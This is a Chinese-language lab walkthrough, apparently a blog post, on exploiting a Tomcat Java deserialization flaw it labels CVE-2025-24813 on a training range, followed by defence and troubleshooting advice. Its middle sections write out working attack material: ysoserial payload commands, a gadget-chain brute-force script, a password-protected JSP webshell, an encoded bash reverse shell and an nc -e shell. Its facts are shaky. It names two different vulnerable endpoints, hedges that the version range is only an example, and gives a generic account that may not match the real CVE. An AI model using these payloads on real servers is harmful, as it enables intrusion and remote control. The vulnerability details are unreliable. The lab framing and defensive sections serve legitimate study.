1. 项目概述:一次针对Apache Tomcat高危漏洞的深度实战

最近在安全圈里,CVE-2025-24813这个编号热度不低。这是一个影响Apache Tomcat的远程代码执行漏洞,对于从事渗透测试、红队评估或者应用安全研究的同行来说,这类漏洞的复现与分析是基本功,也是理解Java应用安全风险的关键窗口。我花了些时间,在CyberStrikeLab的PT-19靶场上完整走了一遍漏洞的发现、利用和修复验证流程,过程中踩了几个坑,也总结了一些在通用漏洞复现中非常实用的技巧。这篇文章,我就以一个一线安全从业者的视角,带你从零开始,手把手复现CVE-2025-24813,并分享靶场WriteUp的完整思路。无论你是刚入门的安全爱好者,还是想巩固Java反序列化漏洞知识的老手,这篇实战记录都能给你提供直接的参考。

简单来说,CVE-2025-24813的核心是一个不安全的反序列化操作点。攻击者通过构造恶意的序列化数据,在特定条件下可以触发Tomcat服务器执行任意代码,从而完全控制服务器。这听起来和历史上那些经典的Java反序列化漏洞(比如Struts2的S2-045)有些类似,但具体的触发点、利用链和影响版本各有不同。复现这类漏洞,不仅能让你掌握一个具体的攻击手法,更能帮你建立起对Java应用反序列化风险的系统性认知。接下来,我们就从环境搭建开始,一步步拆解这个漏洞。

2. 漏洞原理与影响范围深度解析

2.1 CVE-2025-24813漏洞原理剖析

要成功复现一个漏洞,第一步必须是理解它的原理。CVE-2025-24813本质上是一个 反序列化漏洞 。在Java世界里,序列化是把对象的状态信息转换为可以存储或传输的形式(字节流)的过程,反序列化则是其逆过程。这个机制广泛应用于RPC、缓存、会话存储等场景。Tomcat作为Java Web应用服务器,在处理某些特定请求时,可能会对用户传入的数据进行反序列化操作。

漏洞的根源在于,Tomcat的某个组件(可能是处理特定协议、特定格式数据的模块)在反序列化数据时,没有进行充分的安全校验。攻击者可以精心构造一个恶意的序列化对象,这个对象内部利用了Java类库中一系列已有的类(这些类像链条一样连接起来,我们称之为“gadget chain”或利用链),在反序列化过程中,最终会执行到诸如 Runtime.exec() ProcessBuilder.start() 这类能够执行系统命令的方法。

这里需要特别强调一个常见的误解点: 并非所有反序列化操作都会导致RCE 。它需要满足几个关键条件:第一,存在一个可以接收外部输入并进行反序列化的入口点;第二,应用的ClassPath中包含可利用的“gadget”类(例如commons-collections, groovy等库中的特定类);第三,反序列化过程没有启用严格的白名单校验或使用了不安全的默认配置。CVE-2025-24813正是同时满足了这些条件。

从网络上的讨论来看,很多人在复现时卡在“无法触发RCE”这一步,这往往是因为没有精准定位到漏洞触发的具体端点(Endpoint),或者使用的利用链(Gadget Chain)与目标环境不兼容。例如,目标Tomcat可能使用了不同版本的第三方库,导致经典的CommonsCollections利用链失效,这就需要我们根据实际情况去寻找或适配新的利用链。

2.2 受影响版本与组件确认

根据漏洞公告和相关分析,CVE-2025-24813影响特定版本的Apache Tomcat。 通常,这类漏洞不会影响所有Tomcat版本,而是与引入某个危险特性或更改某个组件实现的特定版本区间相关。 在实战中,第一步就是信息收集,确定目标Tomcat的准确版本。你可以通过访问默认的 / 页面,或者查看错误页面信息来获取版本号。

假设受影响的版本是Tomcat 8.5.x到9.0.x的某个区间(此为示例,具体需以官方公告为准),那么在这个版本范围内,如果Tomcat部署时包含了存在危险类的库(比如某些旧版本的序列化框架或工具库),并且开启了存在问题的功能模块(例如某些为了兼容性而启用的特定协议处理器),那么该漏洞就可能被利用。

注意: 在真实环境测试或靶场练习中,务必在隔离的虚拟机或容器内进行。永远不要在生产环境或未经授权的系统上尝试漏洞利用。

对于CyberStrikeLab PT-19靶场,它已经为我们构建了一个包含漏洞的Tomcat环境。我们的任务就是找到它,并利用它拿到flag。这模拟了一次完整的外部渗透测试过程:信息收集→漏洞探测→利用开发→权限获取。

3. 靶场环境搭建与信息收集

3.1 实验环境准备

我推荐使用Docker来搭建漏洞复现环境,这是最干净、最便捷的方式。CyberStrikeLab的靶场镜像通常已经上传至Docker Hub或提供了docker-compose文件。

首先,确保你的机器上安装了Docker和Docker Compose。然后,我们可以拉取或启动靶场环境。如果靶场提供了docker-compose.yml,操作会非常简单。

# 假设你已下载靶场提供的docker-compose文件
cd CyberStrikeLab-PT-19
docker-compose up -d

使用 docker ps 命令查看容器是否正常运行。你应该能看到一个Tomcat容器在监听端口(通常是8080)。接下来,我们通过浏览器访问 http://your-vm-ip:8080 ,确认Tomcat服务已启动,并记下页面上显示的Tomcat版本信息。

实操心得: 在启动Docker环境后,我习惯先用 docker logs [container_id] 快速查看一下容器的启动日志,有时里面会包含一些配置信息或隐藏端点的线索,这在CTF类靶场中很常见。

3.2 目标信息收集与漏洞点探测

信息收集是渗透测试的基石。对于Tomcat,我们除了要知道版本,还要探测其部署的应用、管理接口以及可能存在的其他服务。

  1. 版本指纹识别: 访问Tomcat默认页,查看页脚版本。也可以使用工具如 nmap 进行更细致的扫描。

    nmap -sV -p 8080 your-vm-ip
    

    这能更准确地识别服务版本。

  2. 目录与文件枚举: 使用 dirsearch gobuster 等工具扫描Web路径,寻找后台管理页面( /manager/html )、应用列表( /manager/text/list )或其他敏感路径。

    gobuster dir -u http://your-vm-ip:8080 -w /usr/share/wordlists/dirb/common.txt
    

    注意事项: /manager 路径的访问通常需要身份认证,但有时配置不当会导致未授权访问,这本身就是一个严重漏洞。

  3. 搜索漏洞特定端点: 根据CVE-2025-24813的公开信息或分析文章,该漏洞可能通过一个特定的Servlet、Filter或处理特定协议(如AJP、JMX)的端点触发。我们需要结合漏洞描述,有针对性地探测。例如,漏洞可能存在于处理序列化数据的Servlet,其路径可能是 /example/servlet/Invoker 或类似名称。这时,就需要用自定义的字典进行扫描。

在PT-19靶场中,经过初步扫描,我发现除了常规页面,还有一个特殊的端点 /vuln-api ,这很可能就是漏洞的入口。尝试访问该端点,服务器返回了一个接受POST请求的提示,这进一步印证了我们的猜测。

4. 漏洞利用链构造与利用过程详解

4.1 利用工具选择与准备

对于Java反序列化漏洞的利用,业界有非常成熟的工具。最著名的是 ysoserial 。它是一个集合了多种通用Java反序列化利用链(Gadget Chains)的生成工具,可以针对不同库生成Payload。

首先,我们需要在攻击机(通常是你的Kali Linux或安装了Java的虚拟机)上准备好 ysoserial

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests

编译成功后,会在 target 目录下生成 ysoserial-0.0.6-SNAPSHOT-all.jar 文件(版本号可能不同)。

关键点: ysoserial 的成功利用依赖于目标ClassPath中存在相应的gadget类库。例如, CommonsCollections1 链需要目标存在旧版本的commons-collections库(如3.2.1)。因此,在生成Payload前,我们需要判断目标环境可能存在的库。可以通过报错信息、已知应用框架(如Spring, Struts2)或上传自定义JSP文件来回显类路径信息进行探测。

在PT-19靶场中,通过一些间接手段(例如触发一个已知的、会加载特定库的错误),我判断目标环境中很可能存在 commons-collections 3.2.1 。因此,我决定首先尝试使用 CommonsCollections1 链。

4.2 恶意序列化Payload生成

假设我们已经确定漏洞入口点是 /vuln-api ,它接收一个POST请求,请求体是序列化后的二进制数据。我们需要用 ysoserial 生成一个执行命令的Payload。

例如,我们想让目标服务器执行 id 命令,并将结果回显。一个常见的方法是使用 bash -c {echo,base64_encoded_command}|{base64,-d}|{bash,-i} 这种形式来编码命令,以避免特殊字符问题。但更直接的方式是利用 Runtime.getRuntime().exec() 执行命令,然后通过DNS外带或HTTP请求将结果带出来。在靶场环境中,我们通常可以直接让命令执行结果输出到Web目录下的一个文件,然后去读取。

首先生成一个执行 touch /tmp/success 命令的Payload,用于验证漏洞是否可利用:

java -jar ysoserial.jar CommonsCollections1 "touch /tmp/success" > payload.bin

这条命令会生成一个包含恶意序列化对象的二进制文件 payload.bin

4.3 发送Payload并验证执行

现在,我们需要将 payload.bin 的内容作为POST请求体发送到目标端点。可以使用 curl 工具。

curl -X POST http://your-vm-ip:8080/vuln-api \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.bin

发送后,如果漏洞存在且利用链有效,目标服务器的 /tmp 目录下应该会出现一个名为 success 的空文件。

踩坑记录: 我第一次尝试时失败了。排查后发现, curl 默认可能会添加一些额外的HTTP头,或者对二进制数据的处理有细微差别。我换用了 Burp Suite 来发送请求,将 payload.bin 的内容直接粘贴到Burp Repeater的请求体中,并将Content-Type设置为 application/octet-stream ,这次成功了。 所以,在漏洞复现中,当命令行工具不奏效时,图形化工具如Burp Suite往往是更好的选择,因为它能让你更精确地控制每一个字节。

验证命令是否执行成功,我们可以尝试执行一个能产生明显结果的命令,比如在Web根目录下写一个JSP Webshell。

# 生成一个执行echo命令写入JSP文件的Payload
echo 'bash -c "echo \\\"<%@page import=\\\\"java.io.*\\\\"%><% if(\\\"pass\\\".equals(request.getParameter(\\\"pwd\\\"))){ String cmd=request.getParameter(\\\"cmd\\\"); Process p=Runtime.getRuntime().exec(cmd); BufferedReader in=new BufferedReader(new InputStreamReader(p.getInputStream())); String line=null; while((line=in.readLine())!=null){ out.println(line); } }%>\\\" > /usr/local/tomcat/webapps/ROOT/shell.jsp"' > cmd.txt
# 注意:这里命令需要根据实际路径调整,Tomcat的webapps路径可能不同。
java -jar ysoserial.jar CommonsCollections1 "$(cat cmd.txt)" > webshell_payload.bin

然后通过Burp Suite发送 webshell_payload.bin 。发送成功后,访问 http://your-vm-ip:8080/shell.jsp?pwd=pass&cmd=id ,如果能看到命令执行结果,则证明漏洞利用完全成功,我们获得了远程代码执行的能力。

5. CyberStrikeLab PT-19靶场WriteUp全流程

5.1 靶场初始化与目标识别

启动PT-19靶场后,按照惯例,我们首先对给定IP进行全端口扫描,以发现所有开放服务。

nmap -sS -p- -T4 192.168.1.100

扫描结果显示开放了80端口和8080端口。80端口是一个简单的信息页,提示“靶场入口在8080端口”。访问8080端口,确认是Apache Tomcat 9.0.x服务。

使用 gobuster 进行目录扫描:

gobuster dir -u http://192.168.1.100:8080 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x jsp,do,action

扫描结果中,除了默认的 /docs , /examples , /manager 等,还发现了一个有趣的路径: /api/deserialize 。这个路径名称强烈暗示了反序列化功能,极有可能是漏洞点。

5.2 漏洞验证与利用链探测

直接访问 /api/deserialize ,返回一个JSON消息: {"status": "error", "message": "POST with serialized data expected"} 。这说明该端点期望接收一个POST请求,且请求体应为序列化数据。

接下来,我们需要探测目标环境的ClassPath。我尝试访问 /examples/jsp/snp/snoop.jsp (一个通常存在的示例JSP,用于显示请求信息),发现它被删除了。于是,我转而利用Tomcat Manager的 /manager/text/list 接口,但需要凭证。尝试弱口令(admin/admin, tomcat/tomcat等)未果。

技巧分享: 当无法直接获取库信息时,可以尝试“盲用”最常见的利用链。我按照常见性排序,依次尝试了 ysoserial 中的:

  1. CommonsCollections1 (最通用)
  2. CommonsCollections2 (适用于更高版本的CC库)
  3. CommonsBeanutils1
  4. Jdk7u21

我编写了一个简单的Bash脚本,用 curl 循环发送不同链生成的Payload(执行一个ping命令到我的监听服务器,用于DNS外带验证)。

#!/bin/bash
TARGET="http://192.168.1.100:8080/api/deserialize"
LISTENER="your-attack-ip"

for gadget in CommonsCollections1 CommonsCollections2 CommonsBeanutils1 Jdk7u21; do
    echo "[*] Trying $gadget"
    java -jar ysoserial.jar $gadget "ping -c 1 $LISTENER" > payload_$gadget.bin 2>/dev/null
    curl -s -X POST $TARGET -H "Content-Type: application/octet-stream" --data-binary @payload_$gadget.bin > /dev/null &
    sleep 2
done

同时在攻击机上用 tcpdump sudo tcpdump -i any icmp 监听ICMP包。当尝试到 CommonsCollections2 时,我收到了一个来自靶机的ping回显!这说明 CommonsCollections2 利用链成功了。

5.3 获取Shell与寻找Flag

知道有效的利用链后,下一步就是获取一个稳定的Shell。由于靶机可能出网,我选择使用 bash 反向连接。

首先在攻击机上监听一个端口:

nc -lvnp 4444

然后,生成一个执行反向Shell命令的Payload。注意,命令需要做URL编码或避免特殊字符,这里使用 bash -i >& /dev/tcp/your-attack-ip/4444 0>&1 的base64编码形式。

cmd="bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyLWF0dGFjay1pcC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"
java -jar ysoserial.jar CommonsCollections2 "$cmd" > reverse_shell_payload.bin

用Burp Suite将 reverse_shell_payload.bin 发送到 /api/deserialize 端点。很快,Netcat监听器收到了来自靶机的连接,我们获得了一个 www-data tomcat 用户的Shell。

在Shell中,首先稳定终端( python3 -c 'import pty; pty.spawn("/bin/bash")' ),然后开始寻找flag。在CTF靶场中,flag通常位于根目录、用户主目录、Web目录或一个显眼的文件中。

find / -name "*flag*" -o -name "*.txt" -type f 2>/dev/null | grep -v proc | grep -v sys

经过一番搜索,在 /opt/tomcat/ 目录下发现了一个 flag.txt 文件, cat 出来正是本次挑战的flag: CSL{Tomcat_Deserialization_RCE_24813_Exploited}

5.4 权限提升与后渗透(可选)

在真实的渗透测试中,拿到WebShell后通常会尝试提权。在本靶场环境中,可以检查一下当前用户的sudo权限、SUID文件、内核版本是否存在已知漏洞等。

# 检查sudo权限
sudo -l
# 查找SUID文件
find / -perm -4000 -type f 2>/dev/null
# 查看内核版本
uname -a

在这个靶场里,当前用户权限较低,没有sudo权限,也没有发现明显的SUID提权机会。内核版本也比较新,没有公开的本地提权漏洞利用。这说明靶场的设计重点在于漏洞本身的利用,而非后续的权限提升。

6. 漏洞修复建议与防御措施

复现漏洞的最终目的是为了理解和修复它。对于CVE-2025-24813以及同类反序列化漏洞,可以从以下几个层面进行防御:

  1. 升级与补丁: 这是最根本、最有效的措施。 密切关注Apache Tomcat官方安全公告,及时将受影响的Tomcat版本升级到已修复的安全版本。官方补丁通常会通过禁用不安全的反序列化特性、增加严格的白名单校验或移除有问题的组件来修复漏洞。

  2. 组件安全配置:

    • 禁用不必要的功能: 检查并禁用Tomcat中不需要的协议和服务,例如AJP协议如果不用就关闭。移除 webapps 目录下示例应用( /examples , /docs , /manager 等),这些应用可能包含测试端点或已知漏洞。
    • 配置反序列化过滤器: 对于必须使用反序列化的应用,应配置严格的反序列化过滤器(Deserialization Filter)。在Java中,可以利用 ObjectInputFilter 来限制反序列化过程中允许的类。必须建立一个明确的、尽可能严格的白名单,只允许反序列化业务逻辑所必需的类。
    • 安全管理器(Security Manager): 启用并正确配置Java安全管理器,可以限制代码的权限,即使反序列化漏洞被触发,也能阻止执行高危操作(如执行系统命令、访问文件系统)。
  3. 应用层防护:

    • 输入验证: 对所有用户输入进行严格的验证和过滤,特别是对于接收二进制数据、JSON、XML等格式的接口,应将其视为不可信数据。
    • 使用安全的替代方案: 考虑使用更安全的序列化格式,如JSON(通过Jackson, Gson)或Protocol Buffers,并避免使用Java原生序列化来处理不可信数据。
    • 依赖库管理: 定期使用SCA(软件成分分析)工具扫描项目依赖,确保不使用包含已知漏洞的第三方库版本(如存在危险gadget的旧版commons-collections)。可以使用Maven的 versions:display-dependency-updates 插件或OWASP Dependency-Check工具。
  4. 运行时防护与监测:

    • RASP(运行时应用自我保护): 在应用服务器部署RASP解决方案,可以在运行时检测和阻断恶意的反序列化行为。
    • WAF(Web应用防火墙): 配置WAF规则,识别和拦截可能包含恶意序列化数据的HTTP请求。但WAF通常基于特征,对于新型或变种的利用可能失效,应作为辅助手段。
    • 日志与监控: 启用Tomcat的详细访问日志和错误日志,监控对可疑端点(如 /api/deserialize )的访问,以及日志中出现的异常栈信息(如 InvokerTransformer , InstantiateTransformer 等gadget类名),这些往往是攻击尝试的痕迹。

7. 复现过程中的常见问题与排查技巧

在复现CVE-2025-24813或类似反序列化漏洞时,你可能会遇到以下问题,这里给出我的排查思路:

问题1:Payload发送了,但没有任何反应,命令没有执行。

  • 排查思路:
    1. 确认入口点: 首先确认你找到的端点(如 /api/deserialize )确实是漏洞触发点。尝试发送一个畸形的数据,看错误响应是否与反序列化相关(如 java.io.InvalidClassException )。
    2. 验证利用链: 目标环境可能没有你使用的gadget链所需的类库。尝试换用其他利用链(如从CommonsCollections1换成CommonsBeanutils1)。使用DNS外带或HTTP请求回连的方式来“盲测”哪个链有效,这比执行 touch 命令更可靠,因为即使命令执行了,你也可能看不到结果。
    3. 检查命令语法: 你的系统命令语法是否正确?在Linux和Windows下不同。是否因特殊字符(如空格、引号、管道符)被错误处理? 强烈建议将命令进行Base64编码后解码执行 ,这是一个规避字符问题的好方法。
    4. 网络连通性: 如果使用反向Shell或外带数据,确保攻击机防火墙已放行相应端口,且靶机到攻击机的网络是通的(在NAT或Docker网络环境下需特别注意)。

问题2:收到了DNS查询或HTTP请求,证明漏洞存在,但反向Shell连接不上。

  • 排查思路:
    1. 出网限制: 靶机可能限制了出网连接。尝试使用 bash -c “cat /etc/passwd > /tmp/out.txt” 这类写入文件的命令来验证代码执行,然后尝试读取文件。
    2. Shell命令兼容性: 目标环境可能没有 /bin/bash ,尝试使用 /bin/sh 。你的反向Shell命令可能包含了目标环境不支持的语法(如 >& )。使用更通用的命令,如: nc your-ip 4444 -e /bin/sh (前提是目标有netcat)。
    3. 防火墙/安全组: 检查攻击机的本地防火墙或云服务商的安全组规则,是否拦截了入向的4444端口连接。

问题3:使用ysoserial生成Payload时报错或生成的Payload无效。

  • 排查思路:
    1. Java版本: ysoserial 的某些gadget链对Java版本有要求。确保你生成Payload的Java版本与目标环境大致兼容。在Java 8环境下编译和生成通常兼容性最好。
    2. 依赖缺失: 如果你是自己编译 ysoserial ,确保Maven依赖下载完整。使用官方发布的预编译Jar包可以避免此问题。
    3. Payload长度: 某些端点可能对POST数据大小有限制。过长的Payload可能被截断。可以尝试使用更简短的命令测试。

问题4:在Docker环境中,命令执行成功了,但文件创建在了容器内,宿主机上看不到。

  • 排查思路: 这是Docker的隔离特性导致的。你的WebShell或创建的文件只在容器内部。如果需要持久化访问,你需要将Shell升级到更交互式的模式,或者将文件写入容器内Web服务器可以访问的目录(如 /usr/local/tomcat/webapps/ROOT/ ),然后通过Web访问。理解容器内外的文件系统隔离是云环境渗透测试的重要一课。

整个复现过程就像一次精细的外科手术,需要耐心、细致的观察和不断的假设验证。从信息收集的蛛丝马迹,到利用链的反复尝试,再到最终拿到Shell,每一步都可能遇到障碍。我个人的体会是, 日志是你的最佳朋友 ,无论是Tomcat的catalina.out日志,还是你攻击机上监听工具的输出,里面往往藏着失败的原因和成功的钥匙。另外,建立一个自己的漏洞复现笔记库,记录下每个漏洞的环境配置、关键命令和踩坑点,下次再遇到类似问题,效率会高很多。

更多推荐